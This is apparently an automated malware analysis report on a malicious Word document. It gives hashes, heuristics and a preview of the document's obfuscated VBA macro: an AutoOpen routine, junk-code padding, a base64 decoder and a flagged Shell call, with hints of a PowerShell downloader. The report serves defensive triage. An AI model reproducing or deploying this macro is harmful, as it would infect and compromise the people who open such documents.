Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b71c5b915da29e84…

MALICIOUS

Office (OLE)

630.0 KB Created: 2017-06-15 03:34:00 Authoring application: Microsoft Office Word First seen: 2017-08-27
MD5: 3ff1cd6749dde2beb4f188911859a8d9 SHA-1: 1bbee015daa17e0900a5c97e9112f1e46cb424b7 SHA-256: b71c5b915da29e844796215ecde8e43b17c7ba61a9629349f19cce0e28fb2549
112 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a Microsoft Office document containing a VBA macro. The 'OLE_VBA_SHELL' heuristic indicates a potential shell call within the VBA code, suggesting it's designed to execute commands. The presence of 'macros.bas' and the 'AutoOpen' macro further support this, pointing towards an attempt to run a malicious script upon opening the document, likely to download and execute a secondary payload.

Heuristics 6

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    xxu3dSD9 = False
    Shell rTEmxqJp, m29j6
    End If
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "B0y95"
    Sub AutoOpen()
    dEbDv = 251 - 129
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 60876 bytes
SHA-256: 220f1003c93cbcf68872d30e71ffb6d41877e796a3f42af2cfb710a09bb282de
Detection
ClamAV: No threats found
Obfuscation or payload: likely
947 of 1856 identifiers look randomly generated (e.g. 'U3lzdGVtLk5ldC5XZWJDbGllbnQ7JHJhbmRvbSA9') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "B0y95"
Sub AutoOpen()
dEbDv = 251 - 129
If dEbDv < 61384 Then
tSQJI0 = -21773
AvrZGps = False
Aecf2J = 29143.192282407
End If
abroLhiy = 251 - 129
If abroLhiy < 61384 Then
QiIeUg7 = 59336.007355921
AhTsUx = 0
kxkdCe = False
End If
MceXArI0k = 251 - 129
If MceXArI0k = 61384 Then
l9omr = 21403.389946207
UZrBtg = 156
CSzFcTn = 156
End If
mvNTeOIR = 251 - 129
If mvNTeOIR <> 61384 Then
y8psEDIf = jo2Yu9
QC9y3J = 0
YvGWgj = jo2Yu9
End If
pbhqrd2Qs = 171 - 37
If pbhqrd2Qs = 34140 Then
GoULgR0MP = 19438
VGK4O = 93
cTuPB5f = ydw0tbFyE
End If
EwDplbv = 171 - 37
If EwDplbv < 34140 Then
WPREThD = M5J4ZmI9k
lo1TizP = 11015.839731873
XZBglO = False
End If
O53y0Pk6i = 171 - 37
If O53y0Pk6i = 34140 Then
wReSH9 = 10004.254828818
mW6JI = 10004.254828818
iR38ztc1E = XZze5
End If
cpiSfr1 = 171 - 37
If cpiSfr1 > 34140 Then
iDxKGfa = -971
gr5scyi = 62955.815256967
qxikZz = unlr5q1
End If
E0BLmlnE1 = 171 - 37
If E0BLmlnE1 < 34140 Then
I9SKOA = QAoih7
g5RB0g3Tm = 1882.0985142974
m6Tiv = 1882.0985142974
End If
yU3tI
ir6oWtRH = 5550 / 185
If ir6oWtRH > 38054 Then
kLt6Td9H = Q0LrC
MlqUfGmwH = 138
nL8ao = 53489.056956067
End If
QYibr = 5550 / 185
If QYibr <> 38054 Then
u1d3i = 218
lyFXACf = 56901.43066929
GyKcoiP = 56901.43066929
End If
sQMRDbojA = 5550 / 185
If sQMRDbojA <> 38054 Then
mpnH9e6T = -57394928
gpk6Cb3y = 36472.047722536
LsYwD = k3aiF
End If
YjcMnkz = 5550 / 185
If YjcMnkz = 38054 Then
m4cRj5Iq = 26837.427262898
maBfp81H = 15
e7BawXsfR = 28857
End If
pY7wRcE = -412 + 460
If pY7wRcE < 37447 Then
yJLlqCui = 0
pUHvMQx7 = -4746
U3GTcDNlQ = 55936.619315265
End If
oHVpT = -412 + 460
If oHVpT <> 37447 Then
lGq7KkD = 61647.030718188
rCwGhXmb = -22626
GdGm1i0 = 43943.692888361
End If
Hgnp8CR = -412 + 460
If Hgnp8CR = 37447 Then
dqenv = 243
BgTHla = 0
Uz3OU = False
End If
HgjSLe = -412 + 460
If HgjSLe <> 37447 Then
noJT5t6k = ucn6QXCwy
CbeI1pV = ucn6QXCwy
HLs6Nj3za = 39074.15268017
End If
EjeIr5 = -412 + 460
If EjeIr5 = 37447 Then
K8C6a = gYepHXOP4
Kd0Wt6ePC = False
ryvt6 = gYepHXOP4
End If
pcuIyt0 = -30 + 99
If pcuIyt0 < 48984 Then
ElioVPay = -2141739244
zQ93e2Zt = VcM9wk
t1gACZHV = VcM9wk
End If
WBivg = -30 + 99
If WBivg < 48984 Then
ilNvcYg8A = 125
Nlw0VCZ = 16857.094173565
Q5bJZyz = -2323
End If
L3v6E = -30 + 99
If L3v6E <> 48984 Then
Zi6psL = 90
ksdyUKk = 52908.077493642
h3TRyAZLN = 20905.407113884
End If
gx7y06D = -30 + 99
If gx7y06D < 48984 Then
kv1WCA = 247
Kn4Cur = 5712.6937930584
JKmvTbl1W = 0
End If
YjZYaF = -30 + 99
If YjZYaF < 48984 Then
NMSuoJU = -18125
R5TX0H = LPzNr
ZsoNnzv = 17153.632045685
End If
KbZOgNhr "Ar5BC", "N3c1aVvk", "YV9fxzStB"
hFI7EhyXM = 12240 / 90
If hFI7EhyXM > 45380 Then
Yx12T = Uco4v
mJfkA = True
X01dGfo6r = -958296500
End If
IqAcXW = 12240 / 90
If IqAcXW = 45380 Then
XQLduWX8f = 4690.4626288242
JQlGDBr = 5107.6781672057
FuL5tZ = -1379714744
End If
pwiE9XA8 = 12240 / 90
If pwiE9XA8 > 45380 Then
RRhZl = 162
GYOfz = 48069.165084317
WwT4S7Xk = 162
End If
Sax1EfL = 12240 / 90
If Sax1EfL > 45380 Then
lPbwsa0 = 33525.10713601
fGFQILyg = -16877
YbdZa6vS = -761107178
End If
wBUsI = 12240 / 90
If wBUsI = 45380 Then
XuiRc = True
suTxveEH4 = dO12pkfwG
nOpcY = 181
End If
jpnKRFGrJ = 12282 / 89
If jpnKRFGrJ = 62505 Then
zdlJ1baE = True
CWbFR = 4852.720136604
Qt2TIdB = -14539
End If
bZIxazQHY = 12282 / 89
If bZIxazQHY = 62505 Then
n1jZGH = 2272
pjOKAgw = 40743.742453228
pnAVZX = 44413.406986227
End If
yivkNc1F = 12282 / 89
If yivkNc1F <> 62505 Then
OmkdAL = 37430.656015527
YIzqM = 27998.541138363
noblYzg = 27998.541138363
End If
Pwqhr = 115 * 1
If Pwqhr > 62552 Then
Ywa3eLFi = 0
HF5rfM87k = 24933
DaMHswpA = True
End If
cNTIQjw5 = 115 * 1
If cNTIQjw5 = 62552 Then
t64DX = lzZUMluO7
kHzjCqD = -168057758
zuvdAgj = True
End If
hy86Blb5 = 115 * 1
If hy86Blb5 = 62552 Then
AgKHXV = 30209
U7iyo = 61516.107938203
YkMLE3T = 63008.241246756
End If
nDEoS = 115 * 1
If nDEoS = 62552 Then
BH0Y7xK = 45607.333380699
jr9sofi = 61712.077884143
jsVIyqa = 45607.333380699
End If

End Sub

Attribute VB_Name = "PPzmfsWQ"
Private Const qYVkA3xus = 696320 * 24
Private Const AtSjRu = 73819 - 8539
Private Const UBDoZ0H = 214 + 41
Private Const EF2Tj = 267722 - 5578
Private Const EOjhfi = 24576 / 6
Private Const MMEA7e = 22016 / 344
Private Const mapsW = 353 - 97
Private Const sqyfd = 64442 + 1094
Public Function Ou4gwqSt(s7zevMyw As String) As String
Dim omSzDCI8() As Byte, a06DQ() As Byte, Rf2Fz(255) As Byte, lPowers6(63) As Long, lPowers12(63) As Long
Dim lPowers18(63) As Long, lQuad As Long, iPad As Integer, lChar As Long, lPos As Long, sOut As String
Dim lTemp As Long
jyEZLGFY = 39 + 109
If jyEZLGFY <> 62740 Then
dbjaY = -612660896
GA3EFHiUk = BhANj
uCgNYA = BhANj
End If
bmI54tW = 39 + 109
If bmI54tW < 62740 Then
J8A9chCRs = zGt5sMjgc
xXq1HRu = 25034.426252885
wPMkv = 114
End If
DJjM94H1 = 39 + 109
If DJjM94H1 < 62740 Then
UFWHGD = 236
fm1yqZi = 29998.555718556
Lq87mP = ezKxNWSL
End If
UgkLNe = 39 + 109
If UgkLNe > 62740 Then
FCi2RO = 114
N1pbKxem = 114
H0s42D = 114
End If
icFmj = 233 - 52
If icFmj > 41846 Then
YneJaQy8 = 7416.2717263955
vFgvNkw3K = GIs14a
e6vEdHbzg = GIs14a
End If
DxvL8s = 233 - 52
If DxvL8s = 41846 Then
kIBHv = yMYry15
PPvC02 = 79
D2b6v = 20690.251638641
End If
Yfd3y = 233 - 52
If Yfd3y > 41846 Then
hDRcYg = -7107
cyz2e = 40357.240222664
D04tAHp = 24520.697200444
End If
s7zevMyw = Replace(s7zevMyw, vbCr, vbNullString)
HwtNoqxz = 20400 / 340
If HwtNoqxz > 51556 Then
WHpUK = 61733.990788897
FhOGQ2Ntm = 140
dEUQ3HkZ = 31451.097619658
End If
DAqs3W = 20400 / 340
If DAqs3W <> 51556 Then
qYoUIjgb = 44776.287201109
sqgMepEN2 = sJZxm0CP
LHrNwM = False
End If
TVE89c = 20400 / 340
If TVE89c < 51556 Then
yiTLtA = 0
bQXmqeTK = 60263.193184416
V0UV5 = 10137
End If
ZSi5DlG3 = 20400 / 340
If ZSi5DlG3 > 51556 Then
vHKcDJhQI = 27344
meO5Ntjm = 159
dR7l3qt = True
End If
rJFq6 = 231 - 62
If rJFq6 = 38003 Then
Ep9M6jA1 = True
TMNTLq4zI = Olk0oO
ugpWmbyY = 37
End If
j3CpFN = 231 - 62
If j3CpFN > 38003 Then
zndg1k = False
QSO85NlP = 53304.974005581
KoKDr1f = -1922253862
End If
rrPezEB8b = 231 - 62
If rrPezEB8b < 38003 Then
g4Vr5w = 17630
k0WwxGXBd = 6029.1921765751
qXwVxLZ = 0
End If
Hjg7h1KH = 20672 / 272
If Hjg7h1KH = 44301 Then
s3jJpr = wOGrTXBW3
OflzbM = 29091
LWEKVSLs = 0
End If
hGA8ro1 = 20672 / 272
If hGA8ro1 = 44301 Then
KWDr0 = -1124909472
aIzW4D = LHN08XGj
o4dQOP1B = False
End If
Lrul9E65 = 20672 / 272
If Lrul9E65 <> 44301 Then
DP64i = 185
VWP29obw = 0
pEMC7bF = 0
End If
s7zevMyw = Replace(s7zevMyw, vbLf, vbNullString)
ydXxbgWP = 1021 - 1016
If ydXxbgWP < 37935 Then
DIhiG = -32124
YZYo5 = 63349.595178193
Kgc25G = Bk4aAEN
End If
Pz6on = 1021 - 1016
If Pz6on > 37935 Then
LL7tjAHJ = 232
yS3tY = 22671.141601688
E7HVBi = 1850.353148226
End If
VlSpf = 1021 - 1016
If VlSpf <> 37935 Then
oTYpnAPv = 0
xk7ZuHsV = True
e50cZj = True
End If
tEyFpxWIc = 64 + 44
If tEyFpxWIc = 36352 Then
ZZ7WeR = 46170.255378913
cXZdfn = 0
XiKXIJ = -13234
End If
qbBjNHMhL = 64 + 44
If qbBjNHMhL > 36352 Then
YuJ5rw = -7050862
te3RE2B = 15152
gj9chSNa = False
End If
yKhdXUbEN = 64 + 44
If yKhdXUbEN > 36352 Then
nnVmzl3 = 203
QWvrZV3 = 203
oiqSYBI = 9489.2499169037
End If
HW8XCkpK = 64 + 44
If HW8XCkpK = 36352 Then
FMZNLxt = V9e1rqYM
YC4lmx = False
R1Tbl = 124
End If
lTemp = Len(s7zevMyw) Mod 4
GYptXBU1 = -2609 + 2619
If GYptXBU1 < 34688 Then
zIgiw = 58109.666538186
YNCS3Dr = 63254.490273049
qABF21T7 = 63254.490273049
End If
qHONA = -2609 + 2619
If qHONA > 34688 Then
rvhwZfI6 = 41007.1403272
PX7vmO = 41007.1403272
SlSq3m = QNvSR
End If
oDAZ6m = -2609 + 2619
If oDAZ6m = 34688 Then
oRjqu = -14647
QbGW2po = False
dZ5aDs = 0
End If
gOMN1c = -2609 + 2619
If gOMN1c <> 34688 Then
rkxBVO8ia = 108
RmybFRzM = -1790045068
HczT8GD = LmUsazcF7
End If
GUFHL = 29064 / 173
If GUFHL = 59274 Then
yRiZCecJv = 0
LJXrdLz = KPJx6St
jN42y = 139
End If
I0PtNY = 29064 / 173
If I0PtNY <> 59274 Then
LAjGICeO = 0
AK85trFnm = 172
JXgNwtry5 = -13336
End If
KyZ6W = 29064 / 173
If KyZ6W <> 59274 Then
mNPDUjZ5 = 0
mt7EiMB2 = True
kTKljW = 0
End If
gqw1bE = 29064 / 173
If gqw1bE < 59274 Then
nqoAvC = True
bCljBvbg = 128
hl5vrHxK = 0
End If
fnDmJgtup = 310 - 234
If fnDmJgtup <> 65394 Then
ek9fe4G = 4728.5893979397
np5gl = AIWDep
BGKS0V = False
End If
Acp9bwlF = 310 - 234
If Acp9bwlF > 65394 Then
dzrqT8HO = False
qANbMoePI = -828449284
U0eaCH = 23326.71141967
End If
cNgXd = 310 - 234
If cNgXd <> 65394 Then
o8hfNJH = 0
pg8H2DF9 = 0
naoTwg = 38565.747368661
End If
e7pNO9b = 310 - 234
If e7pNO9b = 65394 Then
DQ0CXTHB1 = 16946.872011412
i9RHp7K = 0
ZJVQeH7 = True
End If
KPRiz = -176 + 234
If KPRiz <> 51581 Then
BUJvBeZ = 0
bBoZhtA1 = 114
ysS3w = 53483.947262168
End If
plvpObG = -176 + 234
If plvpObG <> 51581 Then
Cxn4yK3ZN = 249
CFBTNin = 64
cVniqAHZ = True
End If
K3bZs = -176 + 234
If K3bZs < 51581 Then
O2k9IHd = Zh4M1
WS2mLv69 = 63856.226316287
xaIBph = 1496.525072076
End If
j4nrwt = -176 + 234
If j4nrwt < 51581 Then
g1lgADc8 = ti9YZlKT
vdbIag = False
WYREcU = ti9YZlKT
End If
nH0dquyG = 357 - 255
If nH0dquyG = 51874 Then
Yl9KzkL = False
KqrdFTk7p = 26316.564285916
xjIKi = 0
End If
Bq6XTKn = 357 - 255
If Bq6XTKn < 51874 Then
IrcSTp = LhLqgZd
wUw3DI = LhLqgZd
b4Hx3VF = False
End If
SFypHXuk6 = 357 - 255
If SFypHXuk6 > 51874 Then
FnfEuU5 = 15
UtJkbn = -1327061308
twk2j6KL = -1327061308
End If
t3Shp = 638 - 588
If t3Shp > 51745 Then
vltfzAL = -10127
edrfL = -1647248376
wrGHb0 = 8592.6858754026
End If
ERh9OcIo = 638 - 588
If ERh9OcIo > 51745 Then
VJUet3 = 65
C6FNaZM = 4548.6005013047
w4sk0CoR = 4548.6005013047
End If
g2cZlmCYQ = 638 - 588
If g2cZlmCYQ < 51745 Then
xra9I = grIR4j1
D3OL4la = -11681
XNTvnB7X = 8247.6170042134
End If
uxdHK = 915 - 882
If uxdHK <> 64656 Then
HaGkC = TaCGFV
VefNP2irZ = True
jr0d7IG2Y = 15088
End If
UPsf4WE1 = 915 - 882
If UPsf4WE1 = 64656 Then
PwYZB7N4y = j0KW45QVF
EMaizkj = -65901874
YuaRQ = -65901874
End If
va7tk = 915 - 882
If va7tk <> 64656 Then
TKmdGRb = 62280.077014496
cap2KE9 = -31873
tONeUx4Q = -1524760246
End If
Zmd5V6wD8 = 319 - 150
If Zmd5V6wD8 = 65495 Then
ZVKDRS = -1394634660
xglTM = 20356
L64JV = V6upE
End If
JCVAJ = 319 - 150
If JCVAJ <> 65495 Then
poGiJOLbU = 0
sBpku = 0
jKg4AjY = 8432.5110080197
End If
RhfdS1aH = 319 - 150
If RhfdS1aH > 65495 Then
Tf2sFatr = 112
oI1RV = 59966.822179871
YaxTI = 29060.841943731
End If
pOUc9KF6 = 319 - 150
If pOUc9KF6 = 65495 Then
vLj4B8ncS = False
Vpr83DbwT = 62122.230846995
jQ6xpZhuk = 49236.819082333
End If
MnSQNC = 319 - 150
If MnSQNC = 65495 Then
WTgQwO = 49444.790188248
B8zWQo = 49444.790188248
AxIwLKA = 31511.413564954
End If
foCESmYDH = 5984 / 136
If foCESmYDH > 41544 Then
Rktq5O76 = 205
YV5tydkF = 205
AeYlx = gQsDbGn
End If
D3JbZcp = 5984 / 136
If D3JbZcp > 41544 Then
IpwsUMClm = 16
RER5ueVl = -214162614
eXqh3 = -214162614
End If
xEC2u = 5984 / 136
If xEC2u > 41544 Then
Qoh8pfIdi = qMtb9a
ZQJzKTtP = 8175
walb0JUCw = -1192798260
End If
Pl3rs = 5984 / 136
If Pl3rs = 41544 Then
Slt913jh = -490007994
QcuqCw1Z = -490007994
dW2lLg = 62032.567784011
End If
Irbsa = 154 + 23
If Irbsa <> 59739 Then
R2mYU = False
NhJGz = 0
nkyeZf = YAC8N4q6
End If
p3SINO = 154 + 23
If p3SINO > 59739 Then
ivmElgqn = dq9wR2frF
u2N3PKs7 = 16747.133781805
sLjoDyTB2 = -32320
End If
ahRHlBYDW = 154 + 23
If ahRHlBYDW = 59739 Then
nAtCZl4 = 12758
r9DYZkfg = -714770918
I2LpP = 12758
End If
QoWqYlQ = 154 + 23
If QoWqYlQ <> 59739 Then
ZtfqPdZj = 48343.65922482
aowxI = 0
GthXx = True
End If
X7pHLZ = 22059 / 171
If X7pHLZ = 35390 Then
oMITo8t = True
b7XVPJ5Hp = -31460878
v5OPxydX = 34551.896061632
End If
pfgauje = 22059 / 171
If pfgauje = 35390 Then
EvlnmoH = 0
SjuwbdI1 = 11112.652710366
eogyBzHUj = 59
End If
w9trPNVMR = 22059 / 171
If w9trPNVMR = 35390 Then
WHsW7 = 14071.97912508
IGOsMf = True
C0WU1OCaT = -928138224
End If
IGw5Beq = -213 + 248
If IGw5Beq = 61723 Then
KL0BMq87V = 238
zeHE7 = 23901.624751348
Y4Mhkmq = 21264.441806285
End If
CcNow = -213 + 248
If CcNow = 61723 Then
R09P2kdsc = 30079
RIWi4 = 0
MVx7KjZh = 209
End If
E5oLT79mn = -213 + 248
If E5oLT79mn = 61723 Then
OdIjXqxQ = False
CeT3QvyiA = LANutG7
glb7R = False
End If
PWLKX = -213 + 248
If PWLKX < 61723 Then
czqV0SGn = 138
mcue3 = True
jDke5 = True
End If
If InStrRev(s7zevMyw, "==") Then
L2MFKa = 6230 / 35
If L2MFKa > 55292 Then
ENgymh8WY = -1783942018
aDH4eM = 7846
yJYkbjRS5 = 29849.937010602
End If
NvuL5HsZ1 = 6230 / 35
If NvuL5HsZ1 < 55292 Then
eO0lur2t4 = 106
El0kvi2 = False
Wd98Agi0 = 106
End If
f4iYPD = 6230 / 35
If f4iYPD = 55292 Then
DYs79df = -941716574
wDL2KXTIl = -941716574
OQxjNo = 182
End If
zSAMVQ = 6230 / 35
If zSAMVQ <> 55292 Then
fgSfZ0W1 = 50230.905594693
BsIUZlJP = True
xbs48xzG = 0
End If
uqzdvaE = 1162 - 1139
If uqzdvaE > 34246 Then
oHP9NB = True
n5fidZ3 = 15770.659916212
EBAjVCEOW = 192
End If
otolGgH4r = 1162 - 1139
If otolGgH4r < 34246 Then
q9FaU = 7679.4950119621
CvWwxQ = 173
jWDwn7ut = 19154
End If
WpEJfWuo = 1162 - 1139
If WpEJfWuo <> 34246 Then
KiPCV4K = 21733.043921578
zz3tDlVh9 = 20593
j2fpjXNM = -745668478
End If
TEY6wirHU = 1162 - 1139
If TEY6wirHU <> 34246 Then
TJQ6lYVb = False
x4Vv2 = -1039663950
NFXW6 = -1039663950
End If
X8WIrxkV = 21735 / 945
If X8WIrxkV <> 56459 Then
wR7nZ = 0
Z5rqMeU8S = -2830
ubwQIn2M = 142
End If
GFJEUk = 21735 / 945
If GFJEUk > 56459 Then
s7qYkdLJ = True
a94hRl0 = True
GMiJ8 = 566
End If
C5ck1 = 21735 / 945
If C5ck1 > 56459 Then
KGktC = 184
z7z6xim = 41553.141593157
sGnDaiB = 184
End If
nlEsu4JTh = 21735 / 945
If nlEsu4JTh <> 56459 Then
FZOjuR8f9 = 195
VFmg2eX5Z = 30204.527831482
pr1bjQul = 195
End If
Miolkmgp = 4290 / 65
If Miolkmgp = 46797 Then
pB3sJRp = 0
jMgn6Ii = 62198.467997536
ibB6jf = 0
End If
mvwcq = 4290 / 65
If mvwcq < 46797 Then
gHTXS9 = 33246.089016564
CUznM = OBQJLdivY
qicjoOx = False
End If
UYEIxh = 4290 / 65
If UYEIxh = 46797 Then
BDHF1U = 14199.363232158
VuVPoHWt2 = tYU0OAb
Qm4UPS = 14199.363232158
End If
iPad = 2
ElseIf InStrRev(s7zevMyw, "=") Then
L156Pn = 226 - 75
If L156Pn < 49521 Then
LqOFek = True
pdApQiY = 59155.487034275
H2OFlDEXq = True
End If
UEuBk = 226 - 75
If UEuBk <> 49521 Then
wbrFCg460 = -1722694084
XQ7dkgI = EVstNq
PNfXQG = 35376.740034668
End If
JI6W5t = 226 - 75
If JI6W5t = 49521 Then
kiRM6aWCr = 3881.3220298797
ZVcTphU = True
xoTX62REq = 58077.062573132
End If
AagpLdy = 226 - 75
If AagpLdy <> 49521 Then
GaFNeV7s = -481530172
XwWPy = 50315.495767418
TKdqD = -481530172
End If
rp1ngtJ = 15752 / 88
If rp1ngtJ <> 42711 Then
UMjN8 = 12618.58079171
YkbBXpaA = 12618.58079171
zEO9TNv = 54594.790449488
End If
EiBJ1L = 15752 / 88
If EiBJ1L > 42711 Then
ryPWS = jP0BHVpm2
iO6ErPt = True
FR0Qno = 18221.370573403
End If
Yw2xCnYG = 15752 / 88
If Yw2xCnYG < 42711 Then
Pg9lavu = 0
CpGVC1U5c = Fvfqdi
pfy46NGtP = True
End If
Ldx4Fw5Xc = 16 * 10
If Ldx4Fw5Xc < 52270 Then
s3OmZ = 12802.83591975
WunTdio = 205
X2UonRNE = RPKgwe
End If
dUIdDFGu = 16 * 10
If dUIdDFGu = 52270 Then
rFJiZCQ = A5upY
BLng602h = 0
ZZe7iWEAp = -17064
End If
X2Ru8qn4k = 16 * 10
If X2Ru8qn4k <> 52270 Then
B2mepb4qE = -2471
HlY8iJFRB = 239
VJ0d93Q = -539990924
End If
EMK9hJ = 16 * 10
If EMK9hJ > 52270 Then
iDK8aEI = -1481838554
viSW7 = 24518.496641921
D0xyC2Y = 24518.496641921
End If
gpMm2x = -53 + 206
If gpMm2x = 36493 Then
nXnFc = -13908
RCa3kE9O = 50390.449947999
ymAK0 = -13908
End If
L6awtgN = -53 + 206
If L6awtgN > 36493 Then
MjCJs = 17178.089192691
A8xoRh35 = 17178.089192691
Dd6QY = True
End If
RnJT6X = -53 + 206
If RnJT6X > 36493 Then
lNS4K6P = 13765.066288917
wlxnWycSV = 13765.066288917
v2g6dLk = dyjK0Hk4M
End If
iPad = 1
End If
BYFPrvf3 = 18080 / 113
If BYFPrvf3 = 62072 Then
IKQJwGv8 = -1889600750
jnIKNal8r = -1889600750
xswxB = 52
End If
zNz53mc = 18080 / 113
If zNz53mc < 62072 Then
eqj80gN = 1938.3658762403
G4C6WYGF = q4x1rwpu
u73cV = -3684
End If
LGK6k = 18080 / 113
If LGK6k <> 62072 Then
sKMonusb = 4790.678234932
tfs1Uul = 253
tf2PydElY = NkwWQip
End If
XElHQ = 18080 / 113
If XElHQ = 62072 Then
yq8khfMC7 = WidbEyWK0
Ee7j35 = 80
hsBbOHPy = 30567
End If
v8rl5FM = 9231 / 51
If v8rl5FM > 49224 Then
cGFkZASl = True
i6D1jK8W = True
MICr6Z = True
End If
BJpz5vNQq = 9231 / 51
If BJpz5vNQq < 49224 Then
fLKvDtCsT = True
h4dR5ql = 146
JO5sfi = 146
End If
wEbTwe = 9231 / 51
If wEbTwe > 49224 Then
zQgWP = -1714359040
sjHogfCV1 = -1714359040
giLCHAquj = 19781.55878408
End If
nAWdbnSv = 9231 / 51
If nAWdbnSv > 49224 Then
V1EQ4wC = True
rPcghxzM = 32482
kCkQKqw = 32482
End If
For lTemp = 0 To 255
Select Case lTemp
Case 65 To 90
LsdLVQ08Y = 246 - 148
If LsdLVQ08Y > 60746 Then
BOHWN = True
a1JMx6XBF = cOJKF6d5
BdOM35hV = 2
End If
iKp1q = 246 - 148
If iKp1q = 60746 Then
G0sHDyp = -372835524
xOXUN = 44
qEQzk2W = False
End If
BuY179 = 246 - 148
If BuY179 > 60746 Then
eMeKzFxWu = 49648.72549748
KsoGT4BXj = vTd1SHu
bW75F0uZe = False
End If
C7b902cfh = 84 + 47
If C7b902cfh <> 42394 Then
shv2XrNd = 26430.527210704
kUCYL = 46
zxJ2Ng = 46
End If
DHxcOAoJY = 84 + 47
If DHxcOAoJY = 42394 Then
wXztrjk = vGjvJQWB
nMUpifu = -1126509424
uHnRPt3 = False
End If
lbKh54 = 84 + 47
If lbKh54 = 42394 Then
wyuLAg = 88
sbsoYpM = 27462.482378435
nIKbaQ = 27462.482378435
End If
w2sD5eBbc = 84 + 47
If w2sD5eBbc <> 42394 Then
K6SAYm = True
ExXPwNBK8 = 220
LE8enckdQ = 21349
End If
Rf2Fz(lTemp) = lTemp - 65
Case 97 To 122
bEyaS = 344 - 260
If bEyaS < 48820 Then
VwATSYf = 8
MckqGtiU = GyFdw
QlH8gcue5 = -2026799380
End If
JtGIO2 = 344 - 260
If JtGIO2 = 48820 Then
mI7qaz = afDwZC
CaRVj = 9973.994669616
IceQH = 27247.83403658
End If
cMqzA1b9I = 344 - 260
If cMqzA1b9I > 48820 Then
IoNKCa = False
SW3p27iF = False
vKDWar = -30154
End If
v1R5eISmA = 344 - 260
If v1R5eISmA < 48820 Then
zLvQESz = 2265.165341867
kNBZDiPL = 2265.165341867
raJvxzb2 = 114
End If
ygEosdp = 247 - 113
If ygEosdp < 43624 Then
zuhlr = 96
R0VqvD8 = pEIks
RCJ2Zjl = 51559.068012141
End If
ijfy043 = 247 - 113
If ijfy043 = 43624 Then
i9tUead = True
rXijIlft = -31662
pmKVev = -165938374
End If
yHsV3FM = 247 - 113
If yHsV3FM < 43624 Then
bmnvbseV = True
pifY13OB = 99
vepv5 = 5524.488011083
End If
yTdxSBG2 = 247 - 113
If yTdxSBG2 = 43624 Then
aiU69T = -312816702
OxhHD6 = 41019.269567499
BalfnIACG = 19950.650996105
End If
IaiA4k = 247 - 113
If IaiA4k <> 43624 Then
wk2Pgdm = 2537
HeUhS = 15484.401336982
e0CTPE = FEqrZaUlO
End If
TcuYImp2L = 4095 / 35
If TcuYImp2L = 38522 Then
domSLZ5 = CRtPKcHMa
W2OoNP8u = CRtPKcHMa
rqEvg4f7 = True
End If
secM7P08E = 4095 / 35
If secM7P08E <> 38522 Then
zzfND = ZRgMK
owAY1 = 0
Um9DoAHU = False
End If
P84vHfS = 4095 / 35
If P84vHfS > 38522 Then
GDgH2 = zsTPEC
waAxt9K = -418
…